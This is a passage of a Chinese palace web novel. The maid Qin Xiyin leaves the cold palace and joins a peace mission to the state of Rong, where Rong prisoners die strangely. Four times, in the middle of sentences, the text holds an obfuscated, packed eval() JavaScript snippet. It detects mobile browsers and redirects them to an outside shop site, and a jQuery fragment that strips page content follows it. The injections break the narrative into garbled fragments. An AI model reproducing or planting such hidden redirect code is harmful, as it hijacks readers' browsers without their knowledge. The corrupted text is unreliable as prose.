“经历了那么大的变故,哪有不憔悴的?不过,这些困难对我来说不算什么,我已经熬过去了。现在,我在太后娘娘那里当差,太后还挺看重我的。” “那就好。我进宫后,先学了几天礼仪,到昨天才得空。我就打听你在哪里,知道你在冷宫干活,今天就派人去找你了。惜音,我现在好歹是妃嫔,如果你受了委屈,就告诉我,我替你撑腰。” “哈哈,好吧。但是娘娘您是末等妃嫔,无权无势的,还是先蛰伏一段时间为好。奴婢会照顾好自己的,不用您费心。” “你不要一口一个奴婢的,我听不习惯。” “这是在宫里,必须谨言慎行。万一在外人面前说顺嘴了,忘了尊卑之分,奴婢和娘娘都会受罚的。” “这倒是。我这些天,学了一箩筐的规矩,我脑袋都晕乎乎的。” “娘娘辛苦了。对了,娘娘怎么会来参加选秀呢?” 曲南蕊脸一红,说道:“是我自己想来参加的……你不知道,我已经暗恋皇上好多年了。早在他还是个皇子的时候,我无意间在一间茶楼见过他,当时就被他吸引了。我最大的心愿就是嫁给他,没想到现在终于成真了。” 秦惜音惊讶道:“是吗?那恭喜娘娘了。不过,您之前跟皇上说过话吗?见过几次面?” “就见过一次,我远远地看到了他,但他没看见我。我们之前也没说过话。” “那您怎么就惦记上他了呢?” “这……我也说不清,可能是缘分吧。总之,我现在真是太开心了!我从来没有这么开心过。我想,皇上一见到我,肯定也会喜欢我的。到时候我就青云直上,成为高位妃嫔。然后,我就可以向皇上进言,让他赦免你们家。” 秦惜音赶紧劝阻:“您可千万别在皇上面前提这件事!其他事都好说,就是为我们秦家求情的事,千万不能说。” “为什么?如果我成为宠妃的话,我无论说什么话,皇上都不会怪罪我的。” “您想得太简单了。就算您成了宠妃,如果提了不该提的事,很快也会失宠。奴婢可不想因为自己家的事,牵连到您。而且,奴婢要提醒您一句,在深宫中生活,没那么容易。您不要太天真了,记得多几个心眼。” “好吧,我记住了……那如果我成了太后,那时候皇上已经驾崩了,我总能下令赦免你们家了吧?” 秦惜音吓了一跳,不知道该笑,还是该捂住曲南蕊的嘴。她有些无奈地说道:“娘娘啊,您不要异想天开好不好?有些话您只能心里想想,不可以说出来的。” “放心吧,我在皇上面前,肯定不这么说。” “皇上不在的时候,您也不能这么说啊。小心隔墙有耳。” “哦,好吧。” 过了一会,宫女拿来糕点和茶水,两人一边吃,一边又聊了一会。 秦惜音还有事要忙,就先离开了。 曲南蕊坚持要送她一些财物,但秦惜音拒绝了。 曲南蕊刚进宫,也有很多要花钱的地方。 回到冷宫后,宫女玛瑙和如梦走了过来。 如梦道:“惜音姑娘,之前古嬷嬷和小叶子的所有财产已经充入公账,但是一些珠宝首饰和器物,都只是收藏着。您看,要不要把那些东西卖了,换成银两,方便使用?” 秦惜音想了想,道:“银两暂时够用。那些东西不如都拿到各个废妃的房里摆着,装点一下房间吧。还有那些珠宝首饰,也都分给她们。你们有空的时候,可以伺候那些废妃们穿上宫装,戴上珠宝首饰,让她们重温一下当妃嫔时的风光。 也许,这能让她们的情绪稳定下来,病情也能更快好转。” 玛瑙和如梦都觉得这是个好主意,答应了下来。 今天如梦做了红枣银耳羹,给秦惜音盛了一碗,秦惜音开心地喝了。 没想到,时隔几个月,她靠自己的努力,又过上了每天有糖水喝的日子。 如梦问道:“惜音姑娘,要不要再来一碗?” “如果还有剩的话,就全给我吧,哈哈。” “好的。” 如梦也十分开心,大概是因为她做的东西每天都会被人吃光吧。 如梦年纪大了,又没有孩子,不自觉地把秦惜音当成了孩子。 自从冷宫公账有钱后,冷宫的小厨房也重新开起来了。 由几个会做饭的人管理小厨房,其他人负责点单,大家最想吃的东西会被及时做出来。 这样,冷宫的日子又增添了一些趣味。 一转眼,三个月时间过去了。 冷宫里大概有一半的病人都已经好了,另外一半也在逐渐恢复中。完全恢复需要一些时间,从几个月到几年不等。 这期间,也有几个废妃去世了。秦惜音已经尽了最大的努力,但还是无法挽回,只得作罢。 太后派人来叫秦惜音回去,秦惜音把这三个月的情况如实禀明给太后。 太后笑道:“你做得很好。” 秦惜音道:“但是,还是有一部分病人没有痊愈。而且,还有几个病人过世了。” “生老病死,是人没法控制的。你已经完成得很好了。冷宫里的一些病人,本来就需要很长时间去调理,三个月的时间有点赶了。哀家当时对你提出三个月内治好冷宫所有人的要求,是希望你在重压下,全力以赴。哀家也知道这是一件不可能完成的任务。 但是,你已经达成了哀家心里的要求。” “是,多谢太后娘娘体恤。” “你可知,哀家为何要让你去调查荀白鹤的死因,并且管理冷宫三个月吗?” “奴婢猜测,通过调查命案,太后娘娘想锻炼奴婢的推理能力和断案能力;通过管理冷宫,太后娘娘想提高奴婢的管理能力。” “你说得对,但这只是次要原因。” “奴婢愚钝,不知主要原因是?” “哀家让你调查荀白鹤的命案,是想让你学会敬畏生命,哪怕对方是个小人物。哀家让你管理冷宫,治疗那些废妃,是想让你学会关心最底层的人。即便她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16751560|190012||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 们看起来是废人,毫无用处,你也不能放弃她们。 敬畏生命,关爱弱者,这是为官者最基本的要求。你的心愿是当女官,就要有这两种心。” 听了太后的话,秦惜音肃然起敬:“是,奴婢谨遵太后娘娘的教诲。” “很多当官的人都是为了追求自身及家族的荣耀。追求荣耀固然没错,但也要记得,民为官之本,为官者,当以父母爱护孩子的心态,去爱护百姓。尽管你要当的是宫内的女官,接触不到太多百姓,但道理是相同的。” “是。” “哀家要你做的第三件事,是想让你学会为官者的第三种心,就是为国为民之心。 第三件事就是,皇上近期会派使团出使荣国,商议两国和谈一事。你也跟随使团前去,只要能平安归来,就算你完成任务。” 秦惜音道:“奴婢记得,荣国还跟我国时有交战,几年前还扣押了我国的使臣,至今未曾放还?” “是的。所以此行有一些风险,你敢去吗?如果不敢,你仍旧留在哀家身边做二等宫女,哀家不会亏待你。如果敢去,并且平安回来,哀家就按照之前的约定,修改你的贱籍为良籍,还升你为一等宫女。” 秦惜音有些激动地说道:“奴婢敢去。只是,奴婢在使团中,以何种身份跟使臣们相处?是婢女吗?还是其他的?” “哀家派你前去,自然也是希望你能为和谈出一份力。使团不缺你一个婢女,哀家会暂时加封你为五品尚宫,你以女官的身份跟其他官员一起去。等回来之后,再撤去你的女官身份。” “是,多谢太后娘娘。不知这次的使团都有谁?” “听说,鸿胪寺卿高衡远作为主使臣,还有几个官员作为副使,其中一个副使就是高大人的儿子高毅。” 听说高毅也在使团里,秦惜音内心有些激动。 她心里有些盼着跟高毅再次见面。 太后又交代了几句,然后让秦惜音把冷宫的事务交接一下。 秦惜音回到冷宫,让福公公成为冷宫的主管,并把自己的账本、公账上剩余的银两都交给了福公公。 福公公是个好人,以前在别处当差,因为被人排挤了,才调到冷宫来。 以前古嬷嬷作威作福、欺压冷宫众人的时候,福公公都没有参与。 他因为身体不好,又没有任何势力,只能选择明哲保身。 实际上,他常常在暗中帮助众人,所以大家对他的印象都不错。 让他成为冷宫的主管,是最合适的。 得知秦惜音要走,冷宫众人都十分不舍。 就连疯病没好的人,都开始挽留秦惜音,拉着她的手不放。 秦惜音也有些伤感,对大家说道:“大家别伤心了,我只是去了太后那边,并不是出宫,再也不回来了。以后有机会,我还是会来看大家的。 徐家姐妹那边的关系还在,以后你们继续做手工,做好之后交给徐家姐妹去卖,也是个生计。多卖一些商品,养老钱就攒出来了。 如果还有什么问题,可以让冷宫的宫人随时去找我商量的。” 34. 发笔小财 宫女玛瑙对秦惜音说道:“惜音,如果没有你,我们都不知道,冷宫可以变得这么整洁,这么温馨,就像个大家庭……你对我们有恩,我们永远不会忘的。” 宫女春风拿了一些药材和蔬菜过来,交给秦惜音,道:“惜音,这是我种出来的青菜、艾草和紫苏,你带走吧,或是用来做菜,或是用来泡水喝、泡脚,都可以。” 秦惜音郑重接过,道:“谢谢……我会好好使用的。我走之后,记得继续种菜、种草药。这样,冷宫的人也能随时吃上新鲜的菜,生病了也有足够的药材。” 春风点头:“好,我记住了。” 这时,有个太妃问秦惜音:“惜音,你说我们有没有出去的一天?我之前被打入冷宫,是被冤枉的,我其实没犯错……” 秦惜音道:“这可能比较难,我会想办法的。你们先安心待着。总之,不要放弃。” “嗯,我记住了。” 秦惜音回到了太后宫里,询问太后冷宫里的人有没有可能出去。 太后道:“她们大部分是先帝朝或是德宗朝被关进去的,其中的是非曲直早就没法查证了。而且,就算有些废妃是无辜的,但其中总有一些人是罪有应得的,不能一刀切地全放出去。 这件事还需从长计议。等你成为六品女官后再说吧。” “是。” 秦惜音回到自己的房间后,想起今天是曲南蕊的生日,便先派了一个小宫女去打听曲采女今天有什么安排,皇上是不是去找她了。 过了一会,小宫女回话道:“惜音姐姐,曲采女独自在芳颜宫,皇上不在。” 秦惜音点了点头。她准备了一份厚礼,打算去芳颜宫看曲南蕊。 如果皇帝在,她就不去了。 秦惜音独自一人,带上礼物,来到了曲南蕊宫里。 曲南蕊喜出望外,一手接过了礼物,一手握住了秦惜音的手,笑道:“让我看看,你都给我带什么了……” 曲南蕊兴奋地拆礼物,见里面有她喜欢的糕点、耳环、手串,还有一盒桂花味的手脂,十分开心。 秦惜音见房间里摆了一些礼盒,可能是其他妃嫔赠送的,便问道:“娘娘今天的生日打算怎么过?要宴请送过礼的妃嫔吗?” 曲南蕊有些沮丧,说道:“我不宴请她们了,等她们生日,我也回礼就是了。本来今天我打算请皇上来陪我过生日,但皇上派人传话说,他太忙了,让我自己过生日,需要什么向尚宫局要。” 秦惜音安慰道:“皇上刚登基不久,百废待兴,没时间陪您也可以理解。” 曲南蕊又高兴起来:“说的对,他是因为太忙了才不来的……不过我发现,他忙起来的时候也很英俊啊。有一次,皇上在我这里批奏折,我就一直看着他,怎么也看不腻。” “噗,娘娘在别人面前也这么说话吗?” “那没有,我在别人面前说话会注意分寸的。对了,马上就要过年了,到时候你来我宫里过年怎么样?” “今年恐怕不行了,奴婢要跟随使团出使荣国。” “真的吗?你要当使者?太厉害了!不过,荣国对我国好像不太友善啊。万一他们把你给扣押了,或者干脆杀了使臣,怎么办?我看你还是别去了。” “富贵险中求,能不能脱离贱籍,就看这一次了。我得去。” “那……等我成了宠妃,我跟皇上求求,让他改掉你的贱籍,也是一样。” “娘娘,我还是想靠自己。而且,您在皇上面前提这事,皇上也未必会答应。” “你说得对……那你戴上这个平安符吧,这是我入宫前,我娘专门给我求的。” “不行,娘娘比较需要这个。” “你再推辞,就是不拿我当朋友了。” “好吧,多谢娘娘。” 秦惜音接过平安符,郑重地戴上。 接着,秦惜音又在这里陪曲南蕊说了会话,然后才离开。 回到房间之后,秦惜音发现自己桌上放着两个木盒子,还有一整套料彩缠枝莲方夔纹茶具。 打开两个木盒,只见里面是黄金五十两,白银百两,铜钱两串。 秦惜音赶紧把木盒盖好,问道:“这是谁送来的?” 同住的小宫女道:“这是太后娘娘刚才差人送来的,说是对惜音姐姐过去三个月辛勤工作的奖励。” 秦惜音喜出望外,把金银和茶具收好,又把两串铜钱拿出来,给同住的几个小宫女们分了。 小宫女们欢天喜地的,平分了铜钱,不停地给秦惜音道谢。 有个小宫女凑了过来,道:“惜音姐姐,这套茶具这么好看,能不能给我们也用一下?” 秦惜音笑道:“可以啊,我去泡壶茶,然后我们一人用一个杯子喝茶。” “哇,太好了!” 小宫女们十分兴奋,找茶叶的找茶叶,烧水的烧水,不亦乐乎。 过了一会,茶泡好了,大家都用这套新茶具喝茶,十分开心。 有个小宫女道:“如果什么时候太后娘娘也赏我茶具就好了。” 另一个小宫女道:“我倒不要茶具,如果太后娘娘赏我一锭银子,不,两锭,我就很开心了。” “瞧你,做梦也不做个大的。你为什么不盼着太后给你金子呢?” “对哦,那我就盼着金子。” 还有个小宫女道:“你们就别做梦了,想要太后赏赐,也得自己有本事才行。让你们去管理冷宫,你们管得好吗?” 其他小丫头纷纷摇头:“管不好。”“冷宫那地方,我才不要去呢。” 秦惜音笑道:“只要大家好好当差,总有得到赏赐的机会,加油吧。” 众宫女:“嗯!” 几天后,秦惜音被暂时册封为五品女官,前往尚书台跟其他使臣会面。 这次的使臣团,以鸿胪寺卿高衡远为首,参与者还有好几位尚书省的官员,所以大家先在尚书省见面。 秦惜音去的时候,房间里已经有十来位官员坐着喝茶了。 他们看见了秦惜音,大多都站了起来,礼貌问候,并给秦惜音留了一个座位。 秦惜音的座位靠后,但她还是很激动。 她还是第一次跟这么多官员平起平坐。 以前她是相府千金时,其他官 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16751561|190012||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 员来拜访她父亲,虽然也对她以礼相待,但那是因为她是秦相的女儿。 这一次,她靠自己挤进了官员的会议里,别人敬的是她自己的身份。 鸿胪寺卿高衡远坐在主位,微笑着向秦惜音点点头。 秦惜音起身朝他行了一礼,才重新坐下。 她环顾四周,发现高毅没来,便问旁边的官员:“这位大人,大理寺丞高毅高大人怎么没来?” “哦,他可能有点忙,一会就来了。除了他之外,还有两人没来,我们再等等。” “嗯。” 过了一会,又有两个官员走了进来,但没有高毅。 秦惜音内心有些失落,但不能表现出来。 又等了一会,门外急匆匆走来一个人,正是许久不见的高毅。 他今天穿着一身黑色的官服,腰间系着一条蓝色的白玉蹀躞带,头戴官帽,显得丰神俊朗,恍如仙人。 只是,他神情有些疲惫,似乎是刚忙完很多公务。 他一进门,就对在场官员道:“各位大人,久等了。今日大理寺有些忙。” 其他官员纷纷笑道:“无妨。” 高毅坐进了最后一个空位。巧的是,他的位置刚好在秦惜音对面,两人一抬头就能看见对方。 高毅看见了秦惜音,朝她微微一笑。 秦惜音倒是有些不好意思起来,低头看着自己桌上的空白册子。 这种空白册子是官员开会时用的,可以记录会议内容。秦惜音还是第一次用上。 接着,鸿胪寺卿高衡远说道:“人都到齐了,那我就简单说一下这次出使荣国的目标。首先,是要达成跟荣国的合作,最好能签订长期止战条约。 我国财政紧张,不适合继续跟荣国交战。而且容国士兵悍勇,打起仗来不要命,我国的士兵往往不敌他们。 其次,是要接回上一次被扣押的使团。上一次的出使,不仅没有达成合作,荣国还把我国的使臣给扣下了,三年不放还,可谓无礼至极。 然而,我国目前没法支撑长时间作战,我们此行说话还是要和缓一些,不要跟荣帝起冲突,至少先保证自身安全。 第三,荣国粮食连年歉收,养不起太多百姓。如果能接一批容国百姓到魏国,让他们成为魏国的子民,也能壮大我魏国。 至于一些具体的条约,还得到了边境,见到了守边的齐威将军再说。齐威将军常年驻守在魏国和容国的边境,对两国的情况非常了解。 如果我国的实力只是略逊于容国,我们在和谈的时候就可以减少赠予的钱粮,多提条件。如果两国差距过大,我们可能要多给荣国一些好处。” 接着,高衡远又说了一些注意事项,秦惜音都记录在册子上。 大概半个时辰后,会议结束,大家都各自散了。 秦惜音本想跟高毅说几句话,又怕被高衡远看见了笑话。 谁知,高衡远竟没理秦惜音和高毅二人,直接离开了。 眼看其他官员也走了,房间里只剩下秦惜音和高毅。 高毅问道:“惜音姑娘,上次托我爹带给你的埙,还好用吗?” 35. 河中锦鲤 秦惜音点头:“嗯,我有空时就会吹埙,好多人都喜欢听我吹曲呢。” “你的绿绮琴也被我买下了,不过现在不方便送给你。你一个宫女,房间里摆一张名贵的琴,太显眼了,容易被人针对。以后有机会再给你吧。” 秦惜音很感激他的体贴,真诚道谢:“谢谢……高大人还买了我的什么物件,等以后一并给我,我还你钱。我现在有一点积蓄了。” 高毅有些着急地说道:“我不要钱……总之,只要姑娘安康就好。” 秦惜音有些脸红,只对高毅笑了笑,没说什么。 高毅眼神一亮,似乎觉得秦惜音笑起来很好看。 秦惜音问道:“对了,高大人,你去过边境吗?” “以前去过几次。” “我从没出过远门。这次出使荣国,还请高大人多多关照。” “一定。对了,我还带了一样东西给你。” 高毅掏出一个玩偶。这个玩偶叫“套娃”,是秦惜音小时候的玩具,是从海外来的,魏国很难买得到。 这个玩偶看着普通,但把它打开,里面是一个一模一样的娃娃,只是个头小了一些。 把这个稍小的娃娃打开,里面会有一个更小的娃娃。 这样层层嵌套,少则套三四个,多则套几十个。秦惜音的这个套娃一共有六个。对小孩来说,这是个不错的玩具。 秦惜音已经很多年没玩了,没想到高毅连这个玩偶也买下了。 秦惜音开心地接过:“谢谢高大人……没想到我还能见到这个玩偶。” “你以后孤单的时候,可以拿这个玩偶出来,让它陪你。” “嗯。我得走了。” 秦惜音跟高毅告别,她往前走了几步,发现高毅还在看她。 她的心忽然跳得很快,加快了脚步往前走,没有再回头。 回到自己的房间后,秦惜音打开套娃,直到打开最小的那一个,发现里面藏了东西,是两张纸。 其中一张纸,打开后竟然是银票,面额是五百两。 另一张纸,就是普通的纸条,上面写着几个字:“守得云开见月明。” 这几个字笔力雄健,大开大阖,显然是男人的笔迹,应该是高毅所写。 而这五百两的银票,大概是高毅送给她的。 秦惜音很感动,但她不打算收下高毅的钱。 反正过几天还会见面,她到时候可以把银票还给高毅。 几天后,就是使团正式出发的时间。 秦惜音收拾好行李,来到尚书省,跟其他使臣会合。 然后,使团们一起去太和殿,跟皇帝辞行。皇帝也嘱咐了一番,让使臣们一路小心。 秦惜音是第一次进入朝堂,威严肃穆的景象让她心生向往。 她不敢东张西望,只是看着脚下的金砖。金砖光可鉴人,但在这座宫殿里,也只是微不足道的装饰而已。 如果,以后她也能在这里上朝的话…… 秦惜音没有再想下去。自己现在连内官都不算,就开始想当外官了。还是一步一步来吧。 皇帝说完了话,亲自送使团出发。 使团一共有五辆马车、几十匹骏马,骑术好的使臣可以骑马,骑累了也能坐车。 秦惜音一开始就分到了一辆马车。使臣们看她是使团里唯一的女官,就直接让她坐车了。 车里还坐了一些丫环、厨娘等。 丫环们会照顾秦惜音的日常起居,厨娘们也会时不时地开小灶,给秦惜音做好吃的。 因此,秦惜音一路上倒一点也不辛苦,反而很闲适,就像是去旅游一般。 马车行驶了几个时辰,来到郊外的树林。 高毅掀开了车帘,朝秦惜音看了一眼。 秦惜音觉得他有话跟自己说,就下了马车。 高毅道:“秦女官,我们去那边。” 秦惜音有些奇怪,觉得高毅可能有一些比较机密的话想说,于是就跟他走到了一边,远离人群。 没想到,高毅只是掏出几个果子,递给秦惜音,道:“这果子很好吃,但数量不多,所以我只能偷偷给你。我已经洗过了。” 秦惜音笑道:“多谢。” 她拿过果子啃了两口,觉得很甘甜。 这时,有一个戏谑的声音传来:“这是什么好东西?给我尝尝。” 秦惜音往身后一看,见来者是一个二十来岁、姿容俊秀、喜笑颜开的军官。 秦惜音不认识他,但高毅却对他笑道:“没有了,你想要自己摘。” 这军官笑道:“切,真小气。” 高毅对秦惜音介绍道:“这位是左卫参军鹿一鸣,他奉命带领五十名士兵保护使团,这一路跟我们同行。” 秦惜音赶紧见礼道:“原来是鹿参军,久仰了。” 鹿一鸣笑道:“你跟高毅是什么关系,他对你好像特别好。” 秦惜音想了想,说道:“他跟我大哥是旧识。” “这样啊。你看后面。” 秦惜音看自己的身后,但什么也没看见。 没想到,她手上一松,发现自己手上的果子被鹿一鸣拿走了两个。 而且,他直接就塞嘴里吃了。 秦惜音有些惊讶,又忍不住笑了。 高毅追着他打,可惜跑得没他快,只得作罢。 高毅跑回秦惜音身边,道:“惜音姑娘,你别介意,鹿一鸣就是这样。” 秦惜音忍俊不禁:“没事,我觉得他很可爱。” 高毅却突然说道:“他哪里可爱了?贱兮兮的。” 秦惜音赶紧说道:“我刚才只是随口一说。” 高毅忽然觉得自己失态了,便转移了话题:“我们会在这里修整片刻,吃顿饭。你是想原地休息,还是走一走?” “那就走一走吧,我坐马车太久,坐得腰酸背痛的。” “那我陪你吧。” 秦惜音点了点头,跟着高毅在溪边散步。 高毅给了她一个香囊,道:“戴上这个,是驱蚊虫的。” “谢谢。” 虽然现在已经是冬天,但野外还是有不少小虫子,这个香囊作用很大。 秦惜音在前面走,高毅放慢脚步,走在她身后。 过了一会,高毅说道:“惜音姑娘,今年过年可能要在荣国过了。” 秦惜音笑道:“如果我们也被荣国皇帝扣押了,不知道他会不会请我们吃年夜饭?” 高毅无奈地笑了:“你还真是胆大,拿这事开玩笑。不过 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16751562|190012||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,我会尽力保证你的安全的。” 秦惜音忽然回过头:“怎么保证?” 高毅差点撞到她,赶紧退后一步,说道:“如果荣国皇帝真的有扣押我们的打算,我会想办法把你送回国。” “那可不要,我要跟大家共进退。而且,我们到了人家的地盘上,能不能全身而退,就不是自己说了算的。” 高毅定定地看着她:“你害怕吗?我可以现在把你送回宫去,并给你找个合适的理由,保证皇上不会怪罪你。” 秦惜音却无所谓地笑了:“我如果害怕,就不会来了。高收益的事都有高风险,我不会退缩。” “你这么拼,是想替你们家翻案?” 秦惜音摇摇头:“我爹曾是当今皇上的政敌,这是铁案,翻不了。我只希望靠自己的努力,让自己的日子过得轻松些。日后我若有能力,再关照一下我的家人。” “如果你只是想过得轻松点,我现在就有一个办法。” “什么办法?” “我定期给你钱,你用钱打点身边的人,让她们不要为难你,有什么好事拉你一把。这样,你虽然是宫女,但日子应该过得不错,你也不需要涉险。将来如果有机会脱离贱籍,我再想办法把你接出宫来,让我的亲戚收你为义女,可保你一世无忧。” 秦惜音很感动,但还是摇了摇头:“不,我不能接受你的钱。上次你藏在套娃里的银票,我看见了,我正想还给你呢。” 说着,秦惜音就把银票拿出来,递给高毅。 但是高毅没有接,只是说道:“你拿着吧。我跟你大哥是朋友,替他照顾一下你是应该的。” “那你给的也太多了……其实我现在也有一些积蓄,不缺钱。如果要打点别人,我自己就可以拿出钱。” 但是,高毅说什么也不收。 秦惜音只得把银票重新藏好,笑道:“你不收的话,我就当你是在打点我了。如果以后有什么需要我帮忙的地方,我就帮你一把,算是报答你了。” 高毅笑道:“没错,我特别需要宫里的关系。以后姑娘一定是位高权重的女官,我还要仰仗姑娘多多提携。” 秦惜音忍不住笑了,她也知道高毅不太可能有求于她。但是,高毅盛情难却,以后无论用什么方式,还了他的恩情才好。 过了一会,秦惜音觉得肚子饿了,就往回走。 这时,高毅指着旁边的河流,说道:“快看那里。” 秦惜音循声望去,见河里竟然有一条红色的鲤鱼,忍不住驻足观看。 高毅道:“见到红鲤鱼,代表着好运。我们此行一定会顺利。” 秦惜音笑道:“但愿吧。” 又走了一阵,两人走回了使团们所在的地方。 有个官员问道:“你们去哪里了?我们这饭都吃了一半了。” 高毅笑道:“随便逛逛。” “秦女官怎么不跟我随便逛逛?难道高毅有什么特别的地方?” 秦惜音脸一红,没有说话。 高毅说道:“因为我跟她比较熟而已。” 秦惜音已经坐到了丫环们身边,跟她们一起吃饭。 这时,鹿一鸣凑了过来,递给秦惜音一串蘑菇,道:“秦女官,这是我亲手摘的蘑菇,尝尝。” 36. 俘虏异常 秦惜音正准备接过来,高毅却直接把那串蘑菇抢走了,一边吃一边说道:“正好,我好久没吃蘑菇了,给我吧。” 鹿一鸣瞪了高毅一眼,反手又掏出一串蘑菇,直接塞给秦惜音,道:“这串好吃,刚才那串有毒。” 高毅赶紧呸了一声,对鹿一鸣道:“你才有毒。” 接着,他朝鹿一鸣踹了一脚,鹿一鸣赶紧跑开。 秦惜音一边笑,一边吃了蘑菇,感觉还不错。 吃完饭,大家继续出发。 众人昼夜兼程,花了十来天的功夫抵达边境——径阳县。 从径阳县往西走,就是荣国了。 不过,根据正使高衡远的计划,大家要先跟这里的守将齐威见一面,商讨一下对策。 高衡远派人去齐威的军营说明情况,很快,齐威的亲兵亲自来迎接使臣们,说齐将军在一家酒楼设宴,请各位使臣们过去。 于是,众使臣来到了设宴的酒楼,在包厢里见到了边境守将——齐威。 齐威长得十分高大健壮,估计有两百来斤,长着浓密的胡须,器宇轩昂,不怒自威。 众人纷纷跟齐威见礼,齐威都客气地一一还礼。 轮到秦惜音自我介绍时,齐威愣了一下,似乎没想到使团里有女官。 他看向秦惜音的目光中,也多了几分敬佩。 接着,齐威问高衡远:“高大人,是否要末将派一些士兵护送你们?” 高衡远道:“不用,我们带的士兵已经足够。” “那今日使团是为何而来?” “一来,是为了了解一下目前两国交战的情况,看我们应该对荣国提出什么样的条件。二来,我们还带了一些粮草、礼物,发放给守边的将士们,代替皇上劳军。” 齐威道:“原来如此,诸位大人辛苦了。我先代戍边将士们谢过诸位大人。” “齐将军无需客气。不知现在军队还支撑得住吗?” 齐威面露忧色:“实不相瞒,最近我们又打了几次败仗,士气低落,损兵折将,粮草、马匹、箭镞、伤药都不足,我也不知道还能撑多久。边境的百姓有很多都被荣国掳走了,我想,还是要尽快和谈为好。 再不休战,边境这几座城池可能保不住了,就连我的性命也未必能保住。” 高衡远惊讶道:“竟这般严重吗?这么说,我们只能许诺给荣国更多好处了。” 齐威道:“目前也只能这样了。荣国士兵太过悍勇,每次冲锋陷阵的时候,都以一当十,绝不后退,好像既不会害怕,也不会疼似的。有时候,那些士兵明明受了很重的伤,正常人都会怯战,但他们却一点也不在意,仍然往前冲。 除非将他们彻底砍倒,否则,只要他们还举得动刀,都会像猛虎一样扑向我军。因此,我军将士反而会有些怕他们,交战的时候气势不足,容易打败仗。” “原来如此……不知荣国的士兵是如何训练的,怎么会如此勇猛?” “我军也俘虏过一些荣国将士,想套取他们的机密,但什么都没问出来。而且,还有一件怪事。凡是荣国的俘虏,哪怕被俘的时候没受伤,也活不了多久。所以,生擒荣国士兵对我们来说没什么用,我们还是以死战为主。” 这时,有一位副使道:“我想,荣国士兵过于勇猛,可能是被逼出来的。荣国水旱不调,粮食连年歉收,国内时常爆发饥荒。那些士兵本也是百姓,他们如果不打赢战争,抢夺我军的粮草,就活不下去。 他们为了吃口饱饭,才异常勇猛,甚至受了重伤也不后退。毕竟他们就算活着回去,也不一定能吃饱饭,还不如死在战场上,免去挨饿之苦。” 齐威将军点头道:“倒也是这个理。我已经用更严格的方式训练我方士兵了,但在实际交战的时候,他们基本都打不过荣国士兵。” 秦惜音问道:“齐将军,荣国士兵体型特别高大吗?” “倒也没有,论体型,他们普遍比我国士兵瘦弱一些。” “既然这样,按理说不会出现一边倒的优势。而且,您刚才说,被俘虏的荣国士兵都活不了多久,这也很可疑。齐将军,我可否见一见这些荣国俘虏?” “可以,我让副将带你前去。不过,军营重地,全是一帮大老粗,还是找个人陪你去比较好。” 高毅道:“我陪秦女官去。” “也好。那你们俩去军营走一趟,我跟其他使臣继续议事。” 齐威派了一名姓关的副将,带领秦惜音、高毅二人去军营。 路上,秦惜音问关副将:“关副将,现在军营里的俘虏有多少人?” 关副将道:“大约还剩二十多个。我们连续打败仗,在战场上抓荣国士兵本就不易,所以俘虏人数一向不多。再加上俘虏死得很快,我们最近几次打战都不活捉对方的士兵了,所以只剩下二十多个了。 这二十多个里,分出去一半干杂活,另一半被我们日夜审问,但没审问出什么结果。” 很快,几人就来到了军营。 关副将先带秦惜音和高毅去了一个帐篷。 这个帐篷里,关押着十来个俘虏,他们都受过刑,躺在地上。魏国的士兵们看守着他们。 关副将问道:“可有问出什么?比如,荣国军队的军事机密,或者是俘虏们为什么很快死亡的秘密?” 魏国士兵们说道:“没有,他们好像什么也不知道。而且,今天用刑之后,又有两个人快死了,一会我们打算把他们拖出去。依小人看,不能再用刑了,不如等他们养好伤,让他们帮忙干活去吧。” 关副将皱眉道:“估计他们活不到养好伤的时候。” 秦惜音仔细观察着这十来个俘虏,见他们都精神萎靡,眼神直愣愣的,好像丢了魂似的。 其中有两个已经闭上了眼睛,呼吸微弱。 关副将挥了挥手,就有几个魏国士兵把这两名俘虏扛出去,估计是要丢弃。 秦惜音有些不忍,因为那两个俘虏还没有咽气。 她跟关副将说了一声,说自己想去看看埋葬俘虏的地方,关副将同意了,让她跟着魏国士兵走。 秦惜音跟了上去,高毅也随着她走。 很快,士兵们来到了一处荒郊,这里没什么树,堆满了尸体,大概有几十具。从尸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 